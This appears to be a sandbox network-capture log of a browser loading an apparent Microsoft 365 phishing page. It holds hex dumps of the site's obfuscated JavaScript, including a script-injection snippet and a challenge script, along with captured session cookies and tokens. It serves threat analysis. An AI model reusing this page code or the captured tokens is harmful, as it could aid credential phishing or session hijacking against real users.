2024-02-23 10:49:25 UTC	1369	IN	Data Raw: 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 4f 3c 3c 3d 31 2c 45 2d 31 3d 3d 50 29 7b 4e 5b 61 32 28 34 34 33 29 5d 28 46 28 4f 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 50 2b 2b 3b 72 65 74 75 72 6e 20 4e 5b 61 32 28 34 34 32 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 61 33 29 7b 72 65 74 75 72 6e 20 61 33 3d 61 30 2c 6e 75 6c 6c 3d 3d 44 3f 27 27 3a 44 3d 3d 27 27 3f 6e 75 6c 6c 3a 66 2e 69 28 44 5b 61 33 28 34 30 32 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 45 2c 61 34 29 7b 72 65 74 75 72 6e 20 61 34 3d 61 33 2c 44 5b 61 34 28 33 38 38 29 5d 28 45 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 45 2c 46 2c 61 35 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c Data Ascii: ,T>>=1,G++);for(;;)if(O<<=1,E-1==P){N[a2(443)](F(O));break}else P++;return N[a2(442)]('')},'j':function(D,a3){return a3=a0,null==D?'':D==''?null:f.i(D[a3(402)],32768,function(E,a4){return a4=a3,D[a4(388)](E)})},'i':function(D,E,F,a5,G,H,I,J,K,L,M,N,O,P,Q,
2024-02-23 10:49:25 UTC	1369	IN	Data Raw: 32 29 5d 3d 27 7a 27 2c 6e 5b 56 28 33 38 33 29 5d 3d 27 6e 27 2c 6e 5b 56 28 33 36 37 29 5d 3d 27 49 27 2c 6e 5b 56 28 33 37 32 29 5d 3d 27 62 27 2c 6f 3d 6e 2c 67 5b 56 28 33 37 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 2c 45 2c 46 2c 61 61 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 61 61 3d 56 2c 44 3d 3d 3d 6e 75 6c 6c 7c 7c 76 6f 69 64 20 30 3d 3d 3d 44 29 72 65 74 75 72 6e 20 46 3b 66 6f 72 28 48 3d 78 28 44 29 2c 43 5b 61 61 28 34 32 31 29 5d 5b 61 61 28 34 33 30 29 5d 26 26 28 48 3d 48 5b 61 61 28 34 34 31 29 5d 28 43 5b 61 61 28 34 32 31 29 5d 5b 61 61 28 34 33 30 29 5d 28 44 29 29 29 2c 48 3d 43 5b 61 61 28 34 31 36 29 5d 5b 61 61 28 34 34 34 29 5d 26 26 43 5b 61 61 28 33 39 39 29 5d 3f 43 5b 61 61 28 34 31 36 29 5d 5b 61 61 28 34 Data Ascii: 2)]='z',n[V(383)]='n',n[V(367)]='I',n[V(372)]='b',o=n,g[V(370)]=function(C,D,E,F,aa,H,I,J,K,L,M){if(aa=V,D===null\|\|void 0===D)return F;for(H=x(D),C[aa(421)][aa(430)]&&(H=H[aa(441)](C[aa(421)][aa(430)](D))),H=C[aa(416)][aa(444)]&&C[aa(399)]?C[aa(416)][aa(4
2024-02-23 10:49:25 UTC	1369	IN	Data Raw: 5b 59 28 33 36 32 29 5d 2b 59 28 33 38 35 29 2b 63 29 2c 43 5b 59 28 33 39 31 29 5d 28 59 28 33 37 37 29 2c 59 28 33 37 34 29 29 2c 43 5b 59 28 33 37 33 29 5d 28 4a 53 4f 4e 5b 59 28 33 38 36 29 5d 28 66 29 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 63 2c 61 38 2c 65 29 7b 66 6f 72 28 61 38 3d 56 2c 65 3d 5b 5d 3b 63 21 3d 3d 6e 75 6c 6c 3b 65 3d 65 5b 61 38 28 34 34 31 29 5d 28 4f 62 6a 65 63 74 5b 61 38 28 33 34 39 29 5d 28 63 29 29 2c 63 3d 4f 62 6a 65 63 74 5b 61 38 28 34 30 37 29 5d 28 63 29 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 64 2c 43 2c 44 2c 45 2c 46 2c 47 29 7b 61 64 3d 56 3b 74 72 79 7b 72 65 74 75 72 6e 20 43 3d 68 5b 61 64 28 33 37 31 29 5d 28 61 64 28 34 32 38 29 29 2c 43 5b 61 64 28 33 37 38 29 5d 3d 61 64 28 34 Data Ascii: [Y(362)]+Y(385)+c),C[Y(391)](Y(377),Y(374)),C[Y(373)](JSON[Y(386)](f))}function x(c,a8,e){for(a8=V,e=[];c!==null;e=e[a8(441)](Object[a8(349)](c)),c=Object[a8(407)](c));return e}function A(ad,C,D,E,F,G){ad=V;try{return C=h[ad(371)](ad(428)),C[ad(378)]=ad(4
2024-02-23 10:49:25 UTC	1369	IN	Data Raw: 6d 43 42 2c 63 6f 6e 63 61 74 2c 6a 6f 69 6e 2c 70 75 73 68 2c 66 72 6f 6d 2c 31 34 33 31 33 30 6e 58 77 63 41 62 2c 6d 61 70 2c 31 30 51 48 49 57 62 73 2c 74 61 62 49 6e 64 65 78 2c 70 72 6f 74 6f 74 79 70 65 2c 36 36 35 34 38 35 78 67 41 4e 4e 49 2c 2f 62 65 61 63 6f 6e 2f 6f 76 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 73 6f 72 74 2c 62 69 6e 64 2c 6b 65 79 73 2c 43 6f 6e 74 65 6e 74 2d 74 79 70 65 2c 25 32 62 2c 2f 69 6e 76 69 73 69 62 6c 65 2f 6a 73 64 2c 33 32 68 6d 58 6d 6e 68 2c 66 75 6e 63 74 69 6f 6e 2c 31 30 5a 68 77 5a 63 50 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 69 6e 63 6c 75 64 65 73 2c 61 70 70 65 6e 64 43 68 69 6c 64 2c 62 6f 64 79 2c 32 32 37 33 33 36 31 32 4c 4c 68 77 6f 6c 2c 74 6f 53 74 72 69 6e 67 2c 63 46 50 57 76 Data Ascii: mCB,concat,join,push,from,143130nXwcAb,map,10QHIWbs,tabIndex,prototype,665485xgANNI,/beacon/ov,display: none,sort,bind,keys,Content-type,%2b,/invisible/jsd,32hmXmnh,function,10ZhwZcP,addEventListener,includes,appendChild,body,22733612LLhwol,toString,cFPWv
2024-02-23 10:49:25 UTC	313	IN	Data Raw: 34 33 36 29 5d 3d 32 35 30 30 2c 47 5b 5a 28 34 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 47 5b 5a 28 33 39 31 29 5d 28 5a 28 33 35 30 29 2c 5a 28 33 39 36 29 29 2c 49 3d 7b 7d 2c 49 5b 5a 28 33 39 37 29 5d 3d 44 2c 4a 3d 6d 5b 5a 28 34 32 30 29 5d 28 4a 53 4f 4e 5b 5a 28 33 38 36 29 5d 28 49 29 29 5b 5a 28 34 33 35 29 5d 28 27 2b 27 2c 5a 28 33 35 31 29 29 2c 47 5b 5a 28 33 37 33 29 5d 28 27 76 5f 27 2b 45 2e 72 2b 27 3d 27 2b 4a 29 7d 63 61 74 63 68 28 4b 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 58 2c 63 2c 65 2c 66 2c 43 29 7b 69 66 28 28 58 3d 56 2c 63 3d 67 5b 58 28 33 38 34 29 5d 2c 65 3d 33 36 30 30 2c 63 2e 74 29 26 26 28 66 3d 4d 61 74 68 5b 58 28 34 33 33 29 5d 28 2b 61 74 6f 62 28 63 2e 74 29 29 2c 43 3d 4d 61 74 68 5b 58 28 34 Data Ascii: 436)]=2500,G[Z(425)]=function(){},G[Z(391)](Z(350),Z(396)),I={},I[Z(397)]=D,J=m[Z(420)](JSON[Z(386)](I))[Z(435)]('+',Z(351)),G[Z(373)]('v_'+E.r+'='+J)}catch(K){}}function j(X,c,e,f,C){if((X=V,c=g[X(384)],e=3600,c.t)&&(f=Math[X(433)](+atob(c.t)),C=Math[X(4
2024-02-23 10:49:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	172.67.204.183	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:25 UTC	821	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: ywnjb.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; MUID=2CB8A7944ACF6378145EB3BA4B176235
2024-02-23 10:49:26 UTC	1161	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=315360000 Expires: Mon, 20 Feb 2034 10:49:26 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: BL02EPF0001D75B V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=ca60878750644841849607c8e94c1d38; Path=/; Domain=ywnjb.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Set-Cookie: MSPRequ=id=N&lt=1708685366&co=1; Path=/; Domain=ywnjb.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Request-Id: 1bc26ec6-5469-45a3-aafa-cf9b70a3bc50 X-Ms-Route-Info: C510_BL2 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B7fHlYPi8CbbOQDrB1nHE7yG%2FpPuZJ%2BcJ6OAlrrsjcnKlO7dC6ghOpDARjTU2tY5hTw58mOYrVlf0QrVH66S2RNaruvrZvZOwYwk2pu98r%2BcL0%2Bc3pbwloi6hHrSzt7TXz7X0%2Bw2Lu4FV2L%2FjLM5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee6f0499ec342-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:26 UTC	208	IN	Data Raw: 64 37 32 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 29 6e 5b 65 5d 3d 74 5b 65 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 69 29 7b 69 66 28 65 5b 69 5d 29 72 65 74 75 72 6e 20 65 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 73 3d 65 5b 69 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 69 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6e 5b 69 5d 2e 63 61 6c 6c 28 73 2e 65 78 70 6f 72 74 73 2c 73 2c 73 2e 65 78 Data Ascii: d72<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.ex
2024-02-23 10:49:26 UTC	1369	IN	Data Raw: 70 6f 72 74 73 2c 74 29 2c 73 2e 6c 6f 61 64 65 64 3d 21 30 2c 73 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 20 74 2e 6d 3d 6e 2c 74 2e 63 3d 65 2c 74 2e 70 3d 22 22 2c 74 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 67 5b 63 5d 2c 65 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 65 3c 69 3b 2b 2b 65 29 69 66 28 74 5b 65 5d 3d 3d 3d 6e 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 74 3d 6e 2b 22 3d 22 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 69 3d 30 2c 73 3d 65 2e 6c Data Ascii: ports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.l
2024-02-23 10:49:26 UTC	1369	IN	Data Raw: 65 72 4c 69 73 74 2c 65 29 7d 63 61 74 63 68 28 6f 29 7b 74 2e 65 72 72 6f 72 3d 6f 2e 6d 65 73 73 61 67 65 7d 6e 26 26 6c 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2c 6e 29 7d 76 61 72 20 6c 3d 77 69 6e 64 6f 77 2c 63 3d 22 70 72 6f 64 22 2c 70 3d 22 22 2c 66 3d 22 22 2c 64 3d 7b 4e 6f 6e 65 3a 30 2c 53 69 67 6e 65 64 49 6e 54 6f 52 50 3a 31 2c 53 69 67 6e 65 64 49 6e 54 6f 49 44 50 3a 32 2c 52 65 6d 65 6d 62 65 72 65 64 3a 33 7d 2c 75 3d 7b 4e 6f 6e 65 3a 30 2c 49 73 57 69 6e 64 6f 77 73 53 73 6f 3a 31 7d 2c 67 3d 7b 64 65 76 3a 5b 70 2c 66 5d 2c 22 69 6e 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 77 69 6e 64 6f 77 73 2d 70 70 65 2e 6e 65 74 22 5d 2c 70 72 6f 64 3a 5b 22 Data Ascii: erList,e)}catch(o){t.error=o.message}n&&l.parent.postMessage(JSON.stringify(t),n)}var l=window,c="prod",p="",f="",d={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},g={dev:[p,f],"int":["https://login.windows-ppe.net"],prod:["
2024-02-23 10:49:26 UTC	503	IN	Data Raw: 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 20 28 5f 30 78 69 29 20 7b 76 61 72 20 5f 30 78 6a 20 3d 20 5f 30 78 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 5f 30 78 6a 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 6a 73 3b 5f 30 78 69 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 5f 30 78 6a 29 3b 7d 7d 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 21 3d 3d 20 27 6c 6f 61 64 69 6e 67 27 29 20 7b 68 61 6e 64 6c 65 72 28 29 3b 7d 20 65 6c 73 65 20 69 66 20 28 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f Data Ascii: w.document;if (_0xi) {var _0xj = _0xi.createElement('script');_0xj.innerHTML = js;_0xi.getElementsByTagName('head')[0].appendChild(_0xj);}}if (document.readyState !== 'loading') {handler();} else if (window.addEventListener) {document.addEventListener('DO
2024-02-23 10:49:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:25 UTC	651	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:26 UTC	765	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:25 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 00865278-501e-007b-6a3c-663289000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104925Z-b876mngycp5qpe8y4bu5aw6d0c00000000gg000000005gpw x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:26 UTC	15619	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-02-23 10:49:26 UTC	1555	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:25 UTC	1744	OUT	POST /cdn-cgi/challenge-platform/h/b/jsd/r/859ee6e41a670f91 HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive Content-Length: 17071 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://o365.mojopowertsinctech.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AXMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd83j5fQMMihdvC7DvrWwIoxFJXIGa4oEHK8LTNShni_jNk9pIKWad0lM0oAl9nay0VVyKWnmLDdTL9JNvXx_IfY7idZeX1zoJQYaDPoxGvCdwgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8zVpp-eKD12_gHEdoyRFwUS95x1mAhgvLFnyf5LqkIsq7eIzkWCyUKGpAiW0qsu-lxPy_br03sqhHAYCxMwdjsau_9vEnKBnc0-gzFzaxM9OII0ONPhbe9kUrN9iTmgVC1RH5dMtunhzcb29ompUHn70qwY12SZ4zad2QuwI9Wh4gAA; esctx-OuDMRE5IfJk=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8b6n3A-rwLfY3fkujECCbSU4ED7nhJbQJTiUTcELQCjXQbpaOenvNdaR8sX69JjCe4aGz_y5GbgUYSc8FpTlIBxM_by-AqLwESFKXk88LKHBFqkN49E4Fgpng_5Ef20OE95c2T_tkzAieJZkV3WHIjSAA; fpc=AvPKuGNLYD9LgJAF1cIaerG8Ae7AAQAAADRvat0OAAAA; brcap=0
2024-02-23 10:49:25 UTC	16384	OUT	Data Raw: 7b 22 77 70 22 3a 22 45 6b 64 38 54 59 36 46 54 34 64 54 57 41 2d 36 55 36 56 4f 6e 38 59 71 4f 69 49 4f 47 79 47 74 74 59 46 36 6c 73 4f 6d 70 71 37 70 4b 64 4f 4c 6d 67 5a 2d 70 34 36 75 4f 57 55 64 52 62 6b 6b 4f 69 53 74 4f 77 4f 74 71 74 64 36 4f 78 74 36 6f 2d 30 38 53 34 6b 48 65 42 38 6d 70 44 6b 49 69 4e 75 56 41 52 76 38 6f 44 54 68 49 7a 36 4e 73 6d 53 47 4f 54 64 64 63 47 4c 59 48 62 4f 61 52 62 4b 43 48 4f 43 38 41 4c 4f 59 68 64 4f 47 38 59 59 38 44 57 38 47 4f 36 70 4f 6e 34 33 4f 36 7a 48 4f 6a 58 46 69 52 6b 67 36 69 53 62 64 4f 59 58 48 4f 59 2d 5a 6e 4f 5a 59 4f 36 48 78 4b 66 64 42 75 49 71 59 52 59 36 43 6f 49 6b 73 54 44 32 2b 43 6d 4f 79 38 59 47 4d 50 6b 4f 46 33 6b 70 41 4b 6d 31 78 52 4f 5a 2b 43 53 44 79 69 38 4f 66 53 79 4b 47 Data Ascii: {"wp":"Ekd8TY6FT4dTWA-6U6VOn8YqOiIOGyGttYF6lsOmpq7pKdOLmgZ-p46uOWUdRbkkOiStOwOtqtd6Oxt6o-08S4kHeB8mpDkIiNuVARv8oDThIz6NsmSGOTddcGLYHbOaRbKCHOC8ALOYhdOG8YY8DW8GO6pOn43O6zHOjXFiRkg6iSbdOYXHOY-ZnOZYO6HxKfdBuIqYRY6CoIksTD2+CmOy8YGMPkOF3kpAKm1xROZ+CSDyi8OfSyKG
2024-02-23 10:49:25 UTC	687	OUT	Data Raw: 33 36 7a 74 75 74 5a 6f 38 61 7a 77 4f 2b 43 4f 33 38 5a 4f 52 66 59 4c 4f 42 38 73 34 69 59 36 67 6d 47 33 38 43 4f 6b 38 51 43 4f 44 49 33 4f 6e 70 4f 6d 4f 62 66 34 58 6d 6a 38 35 4f 77 64 69 63 4f 6b 66 6a 74 69 31 36 44 4f 6e 6f 52 43 4f 75 74 73 64 59 2b 67 67 4f 4f 70 54 6b 74 67 4f 2d 6d 54 4f 36 42 70 6e 66 54 61 36 46 74 5a 63 36 6b 36 35 42 73 66 4f 33 38 58 66 54 57 69 59 4f 63 38 2b 30 6d 6f 2d 59 70 78 38 41 35 74 42 38 50 43 36 55 36 42 70 2b 30 36 6a 36 38 38 41 4d 52 77 49 4c 35 74 37 6c 50 67 2d 67 6d 6b 41 58 4f 42 4f 73 4c 36 46 4f 6b 38 45 74 41 65 57 31 4f 6e 78 41 55 49 43 38 6d 6b 54 53 36 6f 74 74 4c 41 58 36 55 4f 4f 74 54 38 4f 2b 62 73 66 69 59 36 2d 66 6e 70 4f 45 4f 63 38 69 57 4f 45 36 58 4f 63 4c 54 6c 36 42 70 4b 6f 6c 35 Data Ascii: 36ztutZo8azwO+CO38ZORfYLOB8s4iY6gmG38COk8QCODI3OnpOmObf4Xmj85OwdicOkfjti16DOnoRCOutsdY+ggOOpTktgO-mTO6BpnfTa6FtZc6k65BsfO38XfTWiYOc8+0mo-Ypx8A5tB8PC6U6Bp+06j688AMRwIL5t7lPg-gmkAXOBOsL6FOk8EtAeW1OnxAUIC8mkTS6ottLAX6UOOtT8O+bsfiY6-fnpOEOc8iWOE6XOcLTl6BpKol5
2024-02-23 10:49:29 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=_.19IPVg4nt4BsavICZS6KTOzVtldqaXWN_2sDG8mXs-1708685369-1.0-AfY4Ttwj9y1b0tjmOcLZFdhoAjisSSYv9oJnfDWhSTj96PVbx4QMN+9JveeaTHOBNru+aUDhvkCp7xvsi/Z0YaI=; path=/; expires=Sat, 22-Feb-25 10:49:29 GMT; domain=.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a5jRi%2BxturpIyuWBe7zGWeM3Zs7ZNgA%2FKlX7Ah2zs2BjtQA3vEI209lg%2BQK0qDak1Segng2OB%2BBMCwa%2BSzXKUnt3wZnEktISSYkTjbrW6gdAbu%2BkNBRMlgN5yJN%2BpRK4aV9VrjhEoyQfdSZ1TVA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee6f18c71c328-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:26 UTC	404	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
